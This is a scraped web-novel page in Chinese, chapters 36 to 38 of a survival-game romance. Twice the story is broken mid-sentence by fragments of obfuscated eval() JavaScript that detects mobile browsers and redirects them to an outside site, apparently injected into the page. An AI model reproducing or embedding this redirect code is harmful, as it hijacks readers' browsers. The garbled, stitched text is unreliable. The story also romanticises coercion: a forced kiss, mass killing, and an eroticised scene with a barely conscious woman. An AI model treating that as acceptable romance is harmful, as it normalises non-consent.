l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574360|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能哄道:“先出去好吧,出去了我就答应你。” “不,我就要现在。”唇角扬起恶劣的弧度,滚烫的手指抚上脸颊,时准说:“我要你像上次那样,亲我一口,然后说你要永远和我在一起,生同衾死同穴。” 上一次因亲错人而引发的惨案还没结案,温初夏是万万不敢再来一回了。 所以她连犹豫一下都没有,直接别开脸拒绝:“不行。上次是个误会,你应该知道,我想亲的人其实是宋云……” “别跟我提他的名字!”时准大概是真的恶心透宋云泽了,一听就炸。 他两手捧住温初夏的脸颊,自我欺骗道:“可你最后亲的人是我啊,是你主动亲的我,夏夏,姐姐,你不能不负责的,我比他要爱你,我比他要更爱你一百倍一千倍一万倍!为了你,我甚至愿意和恶魔做交易……” 什么? 温初夏听不懂,皱眉问:“你和谁做交易??” 时准没有回答,而是右手慢慢滑至她的脖颈,没有用力,只是虚握住,感受她的大动脉在随着心脏一起狂跳,低声问:“你很想离开这儿吗?” 他说的“这儿”不是指教学楼,而是这所学校、这场游戏、这个副本。 温初夏努力控制自己的呼吸不要太重,她不想在时准面前露怯,反问:“你难道不想?” 时准却笑了笑:“我当然不想。之前不就和你说过了。” 温初夏:“……你什么意思?” 一股强烈的不安涌上她的心头,额头紧绷,太阳穴突突跳动,大脑空白一片。 “本来我不应该告诉你这些——但夏夏,我实在是太喜欢你了,我最终还是想把决定的权利交到你手里。”时准的语气无比温柔又无比真诚,像是在诉说情话。 他看了眼旁边的计时器,还剩最后两分半,接着继续温声道:“只要你忍心让我留在这里,爆炸之后,你们就能平安回去,但如果你不忍心看我死这么惨,非要带我离开……” 他顿了顿,“那么,游戏继续。” 嗡——! 耳鸣声起。 游戏继续?意思是要开启下一个副本? 下一个副本温初夏之前也玩过,和它相比,现在这个恐怖校园副本完全就跟吃饭喝水一样简单,她绝对不能允许这种事发生。 “下次说大话之前先打打草稿好吗。” 温初夏自信的很,她觉得时准这一番话有些天真有些幼稚,甚至有一点好笑,像自作聪明撒谎但被轻易戳穿的小孩子。 她仰着脸:“妞妞的所有要求我们都做到了,现在就剩最后两分钟了,你还能捣什么乱?” “不是能捣什么乱。”时准纠正,“而是我已经捣乱了——你还记得妞妞愿望的最后一点具体要求是什么吗?她说,要把日记本里所有夹着的东西也都烧给她。” 温初夏瞬间明白过来,双眼瞪大:“你偷偷拿走……” 不,她记忆很好,这次妞妞日记本里夹的零碎小东西她数过很多遍,没有缺的,那只能是:“你偷换了,你换了什么东西?!糖纸?发卡??!” 心惊胆战终于等到最后的临门一脚,结果用力一踹才发现,眼前根本不是门,是墙! 温初夏当即精神崩溃,血气上涌的就要去搜时准的身,却被他直接拦腰扛了起来。 “时准!你他妈疯了是不是?!!” 温初夏一边奔溃大喊,一边用拳头狂砸时准的后背。 “你知不知道大家为了能离开这里吃了多少苦受了多少罪,你怎么能这样做!你对得起大家吗?!快把东西交出来,否则我恨你一辈……咳咳咳!” 她以头朝下的姿势被时准扛在肩上,头昏脑胀,嗓子不小心被口水呛住,骂到一半开始剧烈咳嗽起来,但手依旧在捶人。 直到时准怕她摔下来,不客气地拍了下她的屁股,以示惩戒,温初夏才终于彻底蔫儿了下去,内心一片悲凉万里冰封,绝望又委屈的泪水无声地往额头上淌。 到底谁说的想哭的时候就倒立,这样泪水就流不出来了,她试了,明明还是能流出来的呜呜呜呜…… 等离开了教学楼,时准就把扛换成了抱,这样会舒服很多。 他本以为温初夏会反抗一下,或者扇他一巴掌,但这人却出奇的沉默和乖巧,垂眸一看,才发现她原来在哭。 时准第一次见到温初夏哭,心里终究升起一点不忍。 他低头吻了一下她湿润的额头,说:“别怕,我以后不会再让你吃苦的。” 温初夏抬手用力擦了擦额头,声音毫无起伏:“你让我觉得恶心。” “……”时准沉默片刻,“恶心也好,证明你总归对我还是有感情的。” 时间到,破旧的楼宇一栋栋爆开,在滔天的火海中破碎坍塌,无数火星乘着滚烫的烈风往远处跳,场面可怕的仿佛世界末日。 爆炸甫一开始,原本还在四处乱窜想要离开操场的小孩老师们立刻全部安静下来,静静地望着孤儿院楼的方向,眼珠里映照出一片熊熊火光。 他们唱起歌—— 请把我的歌带回你的家 请把你的微笑留下 请把我的歌带回你的家 请把你的微笑留下 明天明天这歌声 飞遍海角天涯飞遍海角天涯 明天明天这微笑 将是遍野春花将是遍野春花 一曲结束,他们便也燃烧起来,很快,化作一片片小小的灰烬。 而周雅宜则恢复了正常,忽然增加的重量差点把李确压倒在地,周雅宜红着耳朵连声道歉。 杂音明显的广播响彻操场—— “终极任务清算中……” “清算完成,任务最终完成度为99%,判定为任务失败,下一轮副本正在加载中,请诸位玩家再接再厉、继续加油。” 所有人都懵了—— “什么?任务失败了???” “不是,广播你判断错了吧,我们哪儿失败了?!那百分之一差在哪儿你倒是告诉我啊!” “TA说下一轮副本正在加载是什么意思,是我们还要继续玩下去的意思是吗?我们回不了家了是吗??” 就在众人陷入茫然无措不敢置信时,有眼尖的人指着图书馆的方向破音大喊:“你们快看!有人跳楼了!” 大家忙顺着他的手看去,果然发现在熊熊燃烧的图书馆的顶层,有一个高大如猛兽的身影自天台边缘纵身跃下,动作优雅的像跳水运动员,但这位,跳的是楼。 所有人都被吓呆了,一时间竟都忘了哀嚎。 “摔、摔死了吗?” “多半吧。” “跳楼的人是谁啊?是不是那个酒保……” “别瞎说!”李确打断他,眉心深折,呼吸也开始急促:“我去看看。” “诶你不准去。”周雅宜忙拦住他,脸色惨白:“这个高度跳下来肯定都摔成块儿了,你别去,看了不仅难受,也改变不了什么。” “让我看看是谁在这里造谣,说我摔成块儿的?” 一个声音冷不丁在身后响起。 李确和周雅宜同时回头,惊奇地发现这人不仅好胳膊好腿地站着,还从头到脚换了套更为隆重的行头。 他穿着黑色燕尾服,内搭一件浆硬的白色立领衬衫,雪纺蝴蝶领结,高挺的鼻梁上架着一副金丝眼镜,下巴微抬、站姿笔直,十足的执事气场。 周雅宜嘴角抽抽,小声吐槽:“他在玩cosplay吗?” 李确则高兴道:“原来你没死啊!” 1107走到李确面前,戴着手套的左手敲了敲他的脑门,微笑道:“我怎么会死呢,我又不是一般人。” “嗯!”李确眼睛亮晶晶地看着他,点头说:“我就知道你肯定不是一般人。” 1107脸上笑眯眯,心里想:我当然不是一般人了,我是你大爷。 相对于李确,周雅宜就对1107没什么好态度了,抱着胳膊问:“你不是一般人,那你知道我们接下来该怎么办吗?” 1107好整以暇地看她一眼,表情和语气都很欠地说:“这也算询问的语气?你个小姑娘是不是对我有意见啊?” 周雅宜当即就要生气:“你……” “别别别。”李确拦在两人之间,看着1107,问:“大哥哥,你真的知道吗?” “当然了!看着,哥给你变个魔术啊。”面对李确,1107又如沐春风起来。 他脱掉右手手套,打了个响指。 啪! 天地变换,夕阳在顷刻间成了黑夜。 浓雾散去,残月之下,一座宏伟但阴森的古堡出现在面前。 37. 第 37 章 有时候温初夏也是蛮佩服自己的心态的。 就比如,五分钟前她还在心如死灰地考虑要不要死遁算了,反正界面崩溃又不是她的锅,全怪总部自讨苦吃,非要研究什么融合多本书的新功能,才搞出现在这个无法控制的局面。 自己只是个被牵连进来的倒霉受害者,没必要这么尽心尽力地帮总部擦屁股,又没好处。 而现在,她根据规则指引,独自一人来到走廊尽头的单人套房,关上门,还是忍不住研究起接下来该怎么办。 这无关其他,只是骨子里天生的胜负欲在作祟。 白天折腾了这么久,温初夏早已疲惫不堪。 进屋后,她靠着厚实的胡桃木门慢慢滑坐到地毯上,本想让大脑放一会儿空,养养精神,却感觉校服裤的口袋里好像有什么东西硌着肉,掏出来一看,原来是一只浅粉色的、又旧又糙的千纸鹤。 “呵。”她发出一声极轻的冷笑,“原来他换的是这个。” 仔细回想,夹在妞妞日记本里的那只红色千纸鹤确实成色太新了些,纸的颜色又亮,折的棱角又工整,和其他旧物一比,显得格格不入。 温初夏本应产生怀疑的,但她对自己太自信了,觉得按照参考答案做任务是绝不会出茬子的,再加上没能及时察觉时准在暗中搞破坏…… 停。温初夏赶紧打住。 输了就是输了,别给自己找借口。 她将千纸鹤随意扔到地毯之外的木质地板上,纸鹤差点立住,但最终还是倒了下去,一边柔弱的翅膀被压得“骨折”。 她沉默地注视着地上的千纸鹤,心里起誓:上一局算她大意——这一次,她无论如何也不会让时准再骑到自己头上来。 不然她身为守护者的面子还要不要了。 眼前的单人套房极具巴洛克风格,天花板的十二臂水晶吊灯亮眼夺目,猩红色的天鹅绒帷幔自穹顶垂落,围绕在胡桃木四柱床的周围,床尾摆放着扶手椅,四只床脚踩在奢华重工的波斯地毯上。 而洁白蓬松的床单之上,躺着一张带着香气的信封。 温初夏坐在床边,撕开火漆印,拿出里面对半折叠的信纸,是一张邀请函—— 亲爱的女士/先生: 为了欢迎您和您的朋友们来到埃弗蒙顿堡做客,城堡将于明天傍晚时分,在内院主楼一层北侧的宴会大厅举行一场盛大的蒙面舞会。 请不用担心服装问题,您左手边的衣橱里就有华美的礼服和面具,象征身份的扑克牌也藏在其中。温馨提示,请不要随意向他人透露自己的牌号,否则在接下来的游戏中,您将可能处于不利地位哦。 明天白天是挑选舞伴的时间,如果您有心仪的对象,请去玫瑰园摘一朵玫瑰送给对方,若对方接受,二位则结为舞伴,傍晚将一起去往宴会厅参加舞会,不可临时替换。 衷心地希望您明晚能玩得愉快。 1821年4月19日 “什么叫希望我明晚能玩得愉快。”温初夏还有心情吐槽,“意思是我明晚之后就愉快不了了呗?” 吐完,她把邀请函连同信封一同放在床头柜上,打开桃花心木衣橱的黄铜拉手,一件华美重工的洛可可女士洋装静静地立在里面—— 裙身以矢车菊蓝的绸缎铺就,泛着丝绸特有的莹润光泽,上半身的紧身胸衣缀满了珍珠和银白色的藤蔓花纹,领口装饰着层层叠叠的天蓝色蕾丝。 下面的裙摆则是由鲸骨和多层衬裙撑起的蓬大伞状,其上绣满了立体的矢车菊、鸢尾花,花瓣从深邃的藏蓝渐变为澄澈的浅蓝,华丽极了。 旁边挂着的面具也是蓝色的,形状像一只扁长的蝴蝶。 看着这条裙子,温初夏脑子里联想到的第一个东西,是之前自己花五千块巨款找徐黎做的星星瓶,同样的颜色,同样的花里胡哨。 她是一向对这类东西不感兴趣的,打开衣橱只是简单看过一眼,然后就蹲下身,把脑袋埋进比含苞待放的花蕊还要有层次的裙摆里找卡。 很快,便在衬裙的夹层之间找到了。 居然是王后牌,Q。 心脏瞬间凉了下来。 温初夏面无表情地盯着右上角的字母看了两秒,忽然,手里的卡牌像是活过来般,调皮地扭了扭身体,脱离指尖,游鱼一般钻进她的胸膛,和她融为一体。 温初夏坐在地毯上,双手抱着膝盖,背靠着半米高的床垫开始思考人生。 这个副本最关键的角色有三个,分别拿K牌的国王,拿Q牌的王后,和拿J牌的骑士。 明晚的舞会,国王将亲手杀掉企图和他争夺王后的骑士,并操控城堡里的盔甲士兵开展一场大屠杀,杀光除了王后之外的所有玩家。 存活时间越长的玩家,在第二天复活节醒来后获得的技能越强,也就越有可能坚持到游戏结局。 可以说,这是一场为国王量身打造的游戏,拿到国王牌的玩家是这一场游戏的唯一大BOSS,他不仅能操控城堡里成千上万的盔甲士兵,还养了一头一言不合就四处喷火、尾巴能轻松扫倒一栋楼、且只听从他话的巨型恶龙。 所有人都得仰仗国王的鼻息生存,是生是死也全凭他心情。 温初夏思考,既然自己是Q,那宋云泽一定是K,而身为男二的时准则是J。 宋云泽明晚要杀时准…… 温初夏满面愁容地低下头,用力搓了搓脸,觉得上帝好像在把自己当猴耍。 上次她在恐怖屋里看见的画面,是时准一剑捅穿了宋云泽的心脏,而同人文《准时说爱你》里,也是黑化版时准弄死了宋云泽。 而现在,事情却彻底反了过来,是宋云泽要杀死时准。 “哈哈。” 温初夏悲凉地笑了两声,又为自己啪啪鼓起掌。 还有谁的人生比她还要更drama吗?没有,绝对没有。 但其实骑士也不是真的会彻底死翘翘,因为接下来其余玩家的共同任务,就是要想办法复活他,以及为他收集装备,比如盔甲宝剑之类的,帮助他在国王王后婚礼当天复仇,弄死国王砍死巨龙营救王后,最终实现童话美好的结局。 但,真能实现得了吗? 如果温初夏拿的不是王后牌,那她认为通关几率还是有的,毕竟自己经验丰富身经百战,就算单枪匹马也有信心能拖动航母。 可好死不死,系统偏偏给了她一张最奇葩的牌! 之所以说王后牌奇葩,倒不是因为它所赋予的技能不够强。 恰恰相反,作为除了国王之外唯一活过明晚的玩家,觉醒的技能无疑会是最厉害的,可这个副本坑就坑在,前期王后会一直处于沉睡状态,直到婚礼前的半个月才会苏醒。 就十五天,能干什么? 而且就算是醒了,身为待嫁新娘的她,无论到哪儿都有佣人跟着,人身自由严重受限,什么都干不了。 温初夏还记得上次走这个副本的时候,抽到女王牌的玩家压根只起到了一个吉祥物的作用,而她自己,也因为一次行动失败而提前gameover,并没有走到游戏结局。 这可怎么办?难道要靠那群从没经历过大风大浪的小姐少爷? 这个副本难度这么大,没有自己当主心骨,他们怕是连任务是什么都无从知晓,到最后只要精神没崩溃就已经算很棒棒了,温初夏哪儿还敢奢望他们能在自己昏睡的时间挑大梁。 完了,山穷水复铁无路啊…… 但温初夏现在想不了这么多,铺天盖地的困意忽然上涌,把她的脑细胞统统拍死在沙滩上,她连睡衣都懒得换,直接合衣躺在床上,疲惫的灵魂迅速进入梦乡。 她不知道,在自己入睡之后,衣橱边正对床的全身镜里,有暗光一闪而过。 …… 第二天一早,周雅宜和李书雪便来敲她的门,一个二个全都哈欠连天,眼圈乌青乌青的,一看就是没睡好。 温初夏受她俩感染,也捂嘴打了一个,打完奇怪道:“你俩昨晚做贼去了?” “没。”周雅宜揉了揉惺忪的眼,声音很没精神:“我一个人呆在房间里太害怕了,提心吊胆的不敢睡,一直熬到天快亮才勉强睡了三小时。” “你呢?”温初夏看向另一位。 “我?当然是认床啊。”李书雪才不想承认自己其实也是因为害怕,一脸苦大仇深地说:“睡惯了宿舍的硬板床,一下子换成软的反而浑身上下哪儿都不习惯,啧,没想到由俭入奢也挺难的。” 说着,还演戏演全套地捶了捶后腰。 相比于她俩,温初夏昨晚却睡得格外香甜,她好像从来没睡过这么踏实的觉,一夜无梦到大天亮,要不是这俩小姑娘来敲门,她估计得睡到中午才起。 醒来之后发现衣领的四颗扣子居然全开了,也不知道昨晚在床上是怎么滚的。 发现李书雪表情露出的破绽,温初夏只是笑笑,并没有拆穿她,活动活动肩膀说:“走呗,去找找看信里说的玫瑰园到底在哪儿。” “现在就去?也太早了吧,现在才八点半不到诶。”周雅宜很诧异,声音也来了精神:“而且你已经决定好要找谁当舞伴了?” “嗯。”温初夏刚睡醒,脸上表情淡淡的,语气却带着一丝调侃:“当然还是和上次一样啊,你呢?” “我……”周雅宜卡了半个世纪那么久的壳,终于“我”不下去了,低头扣手道:“我还没想好呢,谁给我送玫瑰我就选谁。” 李书雪一眼就看穿她的心思,大笑道:“你不如直接说你想选李确——除了他之外谁还会给你送花,如果有,那也太没眼力见儿了,同学之间谁还不知道你俩已经谈上了啊。” 周雅宜俏脸一红,忙为自己辩解:“谁说我和他谈上了?这完全就是谣言,是诽谤!我是自从来了这个鬼地方之后才认识的李确好不好,就短短三个月时间,怎么可能和他谈上,在你眼里我就是这么随便的人吗?” 李书雪严肃点头:“是。” 然后话锋一转:“再说了,三个月时间也不短了啊。别告诉我你还活在古代,要李确给你纳采、问名、纳吉、纳征、请期……sorry之前语文考试背这个背得有点儿走火入魔了——总之你不要试图狡辩,明眼人谁看不出来你俩在谈恋爱啊。” “哎呀,我俩真没谈!”周雅宜急得直跺脚,不知道要怎么解释。 她沉默一会儿,又低下头,小声说:“总之李确他还没跟我表白,我俩还、还没到那一步呢……” 温初夏今天的早餐是套房里自带的无糖全麦面包,非常的无味且难吃,她没啃两口就放弃了,现在胃里空荡荡的,所以也破天荒地也开始拿周雅宜开涮—— “你确定你是来这儿之后才认识李确的?”她故作狐疑地皱着眉,“那你那部单反里拍的都是谁的照片儿?同一个拉弓的姿势,一连拍了三四十张,偷窥狂都拍不了这么多吧。” 周雅宜羞的要去捂温初夏的嘴,同时大叫:“我我我我那是不小心快门按太猛了!而且怎么可能有这么多,最多二十张好不好!” 温初夏轻松降住她想要犯上作乱的手,还不满意,继续涮道:“我记得你之前不是喜欢时准吗?怎么,这么快就移情别恋了?” 周雅宜闻言立刻把手腕抽出来,表情有些尴尬,抱着胳膊说:“那都多久以前的事了。而且我虽然之前是很喜欢时准,可是他不喜欢我啊,连体育课我送他水他也不肯接,我知道,他其实一直都把我当成妹妹看待,但李确就……” 意识到自己要把心里话说出来了,周雅宜赶紧刹住。 “但李确就不一样啦,他也喜欢你,对不对?” 李书雪很欠打地帮她把后半句补齐,绕到她身边拍了下她的肩膀,笑得很揶揄。 “小雪。”周雅宜努力板着脸,双耳通红,“你再说这种话我就生气了啊。” 这座城堡面积非常大,像是把几所大学拼到了一起。 三人边聊边逛,到玫瑰园入口后才发现她们到的太早了,路上一个人没有遇见,于是就先去其他地方逛了逛,半小时后再折回来,人果然多了起来。 玫瑰园里花很多,全是不同颜色的玫瑰,外围的石灰岩墙垣爬满了野生藤蔓,大理石铺就的十字甬道将花园分成四个部分,核心区域矗立着一座喷泉,水帘落下带起阵阵凉风。 缘分真奇妙,刚才她们仨唠了一路的李确,一进玫瑰园居然就碰上了,手里还拿着一朵刚小心翼翼摘下的白玫瑰,纯洁柔软的花瓣上挂着小滴晶莹的露珠。 见此情景,李书雪心中瞬间燃起八卦的小火苗,然而还没来得及开口说话,就被温初夏给强行拖走。 “诶诶?”她一脸懵逼地跟着走了几步,压低声音问:“干嘛拉我走啊?这精彩的马上就要开始了,你不想看热闹我还想看呢。” “这位姐姐,您就高抬贵足,给他们一点私人空间吧。”温初夏略显无奈,心说这人究竟是情商太低还是八卦太重,“不然李确那朵花还怎么好意思送出去。” “他怎么会不好意思。”话虽如此,李书雪还是加大了步伐,和温初夏并排走,频频回头地说: “之前都敢当众给周雅宜送喝的,是我见过最会打直球的男生了,不好意思的该是周……欸你看!他送了他送了,周雅宜也接了!我靠我还以为她好歹会矜持一下的,结果这么干脆??!” 温初夏并不回头,也把李书雪的脑袋扳了回来:“行了,别看了,我觉得你应该考虑一下今晚该找谁当舞伴的事。” 李书雪挽着她的胳膊,说:“我不用考虑,最后看看谁落单我就和谁凑……” 话音未落,宋云泽就从喷泉池后绕了出来。 他手里拿着一朵半开未开的蓝玫瑰,花茎布满了尖锐的细刺,墨绿的叶片边缘微微卷起,看见温初夏,冲她笑了笑,笑容有些腼腆和期待。 这下不用当事人开口,李书雪主动松开温初夏胳膊,闭眼,眼球翻了翻,幽怨地留下一句:“我高抬贵足,给你们一点私人空间——怎么样,够贴心吧?” 说完,就头也不回地走了。 宋云泽假装听不见李书雪擦肩而过时“哼”的那一声,径直走到温初夏面前,把蓝玫瑰递给她。 本来他的心情是很忐忑的,怕温初夏会不接受。 结果她居然没有丝毫犹豫就接过了,凑到鼻尖闻了闻,略有些失望地说:“香味好淡啊。” “这里的花好像都这样。”宋云泽很高兴,连解释的语气都是带着笑的:“我闻了好几朵,香气都很淡,跟假花一样。” 温初夏垂下手臂,转头四处看了看,在确定没人注意他们之后,把宋云泽拉到没人的小角落,低声问他:“你的牌号是什么?” 宋云泽闻言,惊异地扬起两条浓眉,眨了下眼,缓缓道:“可信上不是说,不能随意向其他人透露自己的牌号吗。” “哎呀我又不是其他人。”温初夏有些着急,一双漂亮眼睛直直地看着他,随时准备揪出他微表情里是否有隐藏撒谎的苗头,“我就问你一句话,你,是不是King?” “你怎么知道的?” 宋云泽瞬间更为惊讶,反应很快地猜测:“难道你是Queen?!” 所有玩家中,只有KQJ三张身份牌是明牌,今晚一过,所有人都会知道拿到KQJ的人是谁,所以不用担心被人提前知道。 温初夏点点头,心里又继续发起昨晚的愁:这下没得跑了,时准肯定是J了…… 她是一个极少后悔的人,最近唯一一件后悔的事,就是在上个副本里,因为听见时准扬言要杀宋云泽,手比脑子地快扇了他一巴掌。 可谁能想到,现在即将成为被杀的那个却是时准。 她要不要也扇宋云泽一个耳光补回来? 不对,不对,好像得扇两个才行。 察觉到温初夏看自己的眼神正在逐渐变味,不知为何,宋云泽忽然心底有些发毛,上半身不动声色地往后仰了仰,两手握在身前,试探地问:“你在想什么?脸色好难看。” “哦,没什么。” 温初夏眼一眨,立刻回过神,拿着玫瑰的左手指尖碰了碰花茎的尖刺,心说不急于一时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588331|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那十五天有的是机会扇他。 很快,温初夏就说自己累了,想回去补觉,两人一齐离开这里。 玫瑰园旁边是一栋可以俯瞰花园美景的小楼,季明轩站在二层的栏杆边,目送那俩离开后,他叹了口气,落寞地垂下眸,一朵嫩黄娇憨的玫瑰花在指尖徒劳旋转。 他低声和花道歉:“对不起啊,早知道自己不敢送出去,刚才就不应该摘下你的,不然你肯定还能多开好些天。” “你在说什么?”一个声音冷不丁自身后响起。 季明轩大吃一惊,忙转过身,发现居然是时准,他手里也同样拿着一枝玫瑰,只不过是红色的,鲜艳深刻的色彩衬的肤色愈发苍白。 自言自语被人听见,季明轩有些尴尬,回答:“没什么……”又转移话题,“你也摘花了啊,想要送给谁?温初夏吗?我刚看见她走了,你现在去追还来得及。” 但时准却笑了笑,举起手里的红玫瑰说:“不,不是要送给她,只是摘来欣赏罢了——这朵玫瑰的颜色和她今晚要穿的礼服颜色不相配。” 季明轩下意识点头:“哦哦。” 时准把花扔到楼下的灌木丛里,转身离开,来的快走的也快。 季明轩看着他孤独中透露出些许神秘的背影,下意识发起呆来,在时准的背影消失在楼梯口后的一秒,忽然发现了一个华点—— 等等! 他怎么知道温初夏今晚要穿什么颜色的衣服??? 独自回到走廊尽头的房间,温初夏没有躺在床上睡觉,其实她根本就不困,借口说累只是不想再见到宋云泽那张脸而已。 因为每看他一眼,她的右手就要蠢蠢欲动一次,然后再被左手按住,姿势莫名还挺娇俏,好像下一秒就要嗲着嗓子撒娇。 而宋云泽明明清楚自己今晚要犯下多么血腥暴力的罪孽,刚才和她在一起的时候,居然还是一副平淡如常的表现,甚至还有心情跟她开一两句玩笑。 温初夏头一次发现此人城府竟如此的深,都要杀人了还能面不改色,她有些犯恶心,所以就提前溜了。 宋云泽今晚会杀时准这件事,带给温初夏的影响比她想象中的要大很多,并随时间的推移而逐渐发酵膨胀。 虽然知道时准以后大概率能活过来,就算他们没能成功复活他,等终极任务失败这个副本结束后,到下一个副本时准也能活过来。 可温初夏还是觉得,心里很堵的慌。 大脑控制不住一遍一遍预想到时候的场景。 那把剑会以多快的速度刺穿他的心脏?他脸上会出现怎样痛苦的表情?伤口的血会飙多远?他要痛多久才能彻底断气? 想着想着,温初夏忽然听到拍窗户的声音,走到窗边,发现是一只叼着红玫瑰的乌鸦,不停扇动翅膀撞击玻璃,看样子是想要进来。 事出反常必有妖,温初夏打开玻璃窗,看乌鸦飞进来后,把嘴里衔着的花放在床上,又飞了出去,于是把窗户关上,仔细研究起这朵红玫瑰。 但研究了半天也没发现有什么异常。 很快,拍窗声再次响起。 又是那只乌鸦,尖嘴里又叼着一朵红色玫瑰花。 温初夏打开窗,乌鸦再次把花放在她的床上,然后离开。 如此重复了六七次,送花使者还是没有要停下的意思,温初夏有些不耐烦,趁乌鸦进屋放花的当儿把窗户关上。 结果这只死鸟一发现自己被困,就开始在屋里横冲直撞地乱飞,牛劲大的水晶吊灯都快被它撞坏了。 温初夏没办法,只好把它装进箱里,在箱子侧面留了好几个出气孔,听它消停后躺床上闭目养神,不知不觉间把自己给养睡着了。 这一觉竟直接睡到了太阳落山。 “嗯……”温初夏迷迷糊糊地睁开眼,坐起来,看到窗外残阳如血,一时有些怀疑自己是不是被下迷药了,可她只是今早啃了两口面包,除此之外一口水都没喝。 她精力很好,最高纪录能连续54个小时不睡一分钟,今天怎么忽然间多出这么多瞌睡,真奇怪。 心里嘀咕着,温初夏下床来到箱子边蹲下,想把乌鸦放出去。 但箱子打开,里面的乌鸦却早已不知所踪,只留下一张扑克牌,牌号是黑梅7。 这就更奇怪了。 可温初夏没有时间来琢磨这种种疑虑,因为主楼的钟声已悠悠传来,她必须立刻换好衣服戴上面具,和宋云泽一起前去赴宴。 城堡的舞厅奢华的仿若梦境,四周墙壁被精美的壁画和挂毯填满,镀金的装饰线条在灯光下熠熠生辉。 天花板上是栩栩如生的浮雕,天使形象立在四角,舞池中央,人人都身着华丽的礼服,伴随着悠扬的音乐,轻盈旋转,衣香鬓影之间,隐藏着暴风雨将至的宁静祥和。 一舞毕后,温初夏借口说想去卫生间,独自离开了一层北侧的舞厅,到四层南侧无人的会客厅里坐着。 她不愿亲眼目睹时准被一剑穿心的场面,也怕一会儿听见大家的惨叫声心里会不舒服,所以才躲来了这儿。 可哪怕隔了三层楼,温初夏的耳朵也还是隐约听到了一些声音—— 有人在哭,有人在尖叫,有人在大声求饶。 随着窗外的天色一点点黯淡下去,楼下的鬼哭狼嚎刀击剑鸣也逐渐平息,当明月高悬于漆黑的天幕,整栋楼已是一片死寂。 所以,一阵沉重又疲惫的脚步声在此时此刻,就显得格外刺耳、格外诡异,令人毛骨悚然。 但背对着门站在窗前的温初夏并没有毛骨悚然,只是默默准备好了要扇过去的巴掌。 如果现在不打,那下一次就要等到副本结束前十五天了,温初夏等不了这么久,觉得还是现在打吧,趁这人的良心还没有被权利吞没,刚好让他清醒清醒,好好反思反思。 “哐当——!” 这是重剑被扔到地板上的声音。 温初夏依旧没有转身,心跳如鼓、心乱如麻,她忽然很不想面对宋云泽,不想看到他带着血痕的脸颊,这会导致她联想到时准被杀的惨状。 脚步声在她胡思乱想的期间迅速逼近,接着,一个高大的、滚烫的、散发着浓厚血腥气味的身体,从后背抱住了她,将脑袋疲惫地埋进她的肩窝,几缕半干的血痕蹭到了她的脖颈。 “夏夏……”脑袋左右动了动,像只小狗在撒娇,他并不惊讶地询问:“你怎么躲这儿来了?” 你谁??!!! 温初夏如遭雷击,立刻就要挣开这人的怀抱,但奈何对方圈在自己身前的两只胳膊比钛合金铁链还要牢固,任凭她使出吃奶的劲儿都无法撼动。 没能打出的巴掌最终竟落到了自己脸上,温初夏再一次体会到了临门一脚踢到墙是什么滋味,近乎崩溃的她尖声质问:“怎么是你?!宋云泽呢??!” 时准散漫道:“杀了。” “其他人呢?!” “也杀了。” 背后的男人把大半重量都压在她身上,温初夏有些站不住脚,身体晃荡了一下,时准便立马站直身,把她转过来,面对着他。 一缕喷射状的血痕斜穿过他的眉骨,如同一道凌厉的伤疤,月光之下,这张昔日里温润柔情的脸变得如鬼魅一般森冷可怖—— 深邃漆黑的眉眼,苍白紧绷的皮肤,高挺如刀削斧砍的鼻梁,以及,逐渐靠近的那一抿薄唇。 下巴被捏紧,上抬,温初夏毫无反抗之力地承受这一吻。 狂躁的,野蛮的,带着强烈的报复心和惩罚性的吻。 不一会儿口腔里就充斥气血腥味,有点甜,但更多的是让她觉得想吐。 无力感自心底漫延,温初夏的四肢开始发软,原本剧烈起伏的思绪像被打了一支强效镇定剂,脑海里被泼了一桶白色油漆,眼皮不甘地慢慢合拢。 多么熟悉的场景,但游戏的主动权却已悄然发生轮转,落入到对方手中。 昏迷前,温初夏听到的最后一句低语是—— “你说公主只能和王子在一起,那从今以后,我来当王子,好不好?” 38. [锁] [此章节已锁] 好热。 好痒。 沉重的意识像是埋藏在土壤中多时的种子,虽然终于熬到了破土而出的一天,却也只是探出了一个无力又微小的嫩芽而已,抵挡不了任何风雨,只能任人采撷。 温初夏模糊地感觉到自己正躺在一张柔软的大床上,身下层层叠叠的床单床垫枕头比云朵还要轻柔丝滑,散发着淡淡的皂荚清香,她整个人深陷其中,无法自拔。 右手边似有一处熊熊燃烧的壁炉,燎人的热浪轻而易举扑到没有衣物遮挡的身体上,脸颊手臂窄腰大腿小腿的皮肤皆是一片滚烫。 只有脚,不热,但很痒。 因为有人正握着她比玉还要光滑脆弱的脚踝,用拧干水分的毛巾一下一下仔细擦拭着脚背,然后,是每一根脚趾。 圆润可爱的指甲被湿毛巾舔过后,表面的水渍反射出晶莹光泽,像涂了护甲油一样,紧接着又被房间里蒸腾的热气熏干,重新变回哑光状态。 眉心难耐地皱了皱,双颊的绯红愈发浓郁,挺翘的鼻尖微微噏动,像停在枝头轻扇翅膀的蝴蝶,是比晚霞还要绚烂百倍的美景。 她浑身上下都被火光炙烤得纤薄,紧致的皮肤像鸡蛋壳内那层半透明的膜,稍一用力就会泛红,再用力,可能就直接破了。 痒…… 好痒…… 强烈的生理刺激对处于昏睡中的人而言,无异于电击疗法,刚刚冒出头的嫩芽被强行掰开,接受雨露的润泽。 湿意弥漫间,土壤持续松动,芽尖悄无声息地立了起来。 “醒了?”注意到她身体的变化,男人勾唇笑了笑。 但温初夏还在和浑浊的意识撕着架,外界的任何声音传入她耳中,都化作了水中的气泡,朦朦胧胧,听不真切。 闻言,床上的人只是呼吸有了一丝异样的波动,四肢依旧又软又轻,里面的血肉似乎换成了棉花,毫无生气和力量可言,只能任人弯曲折叠。 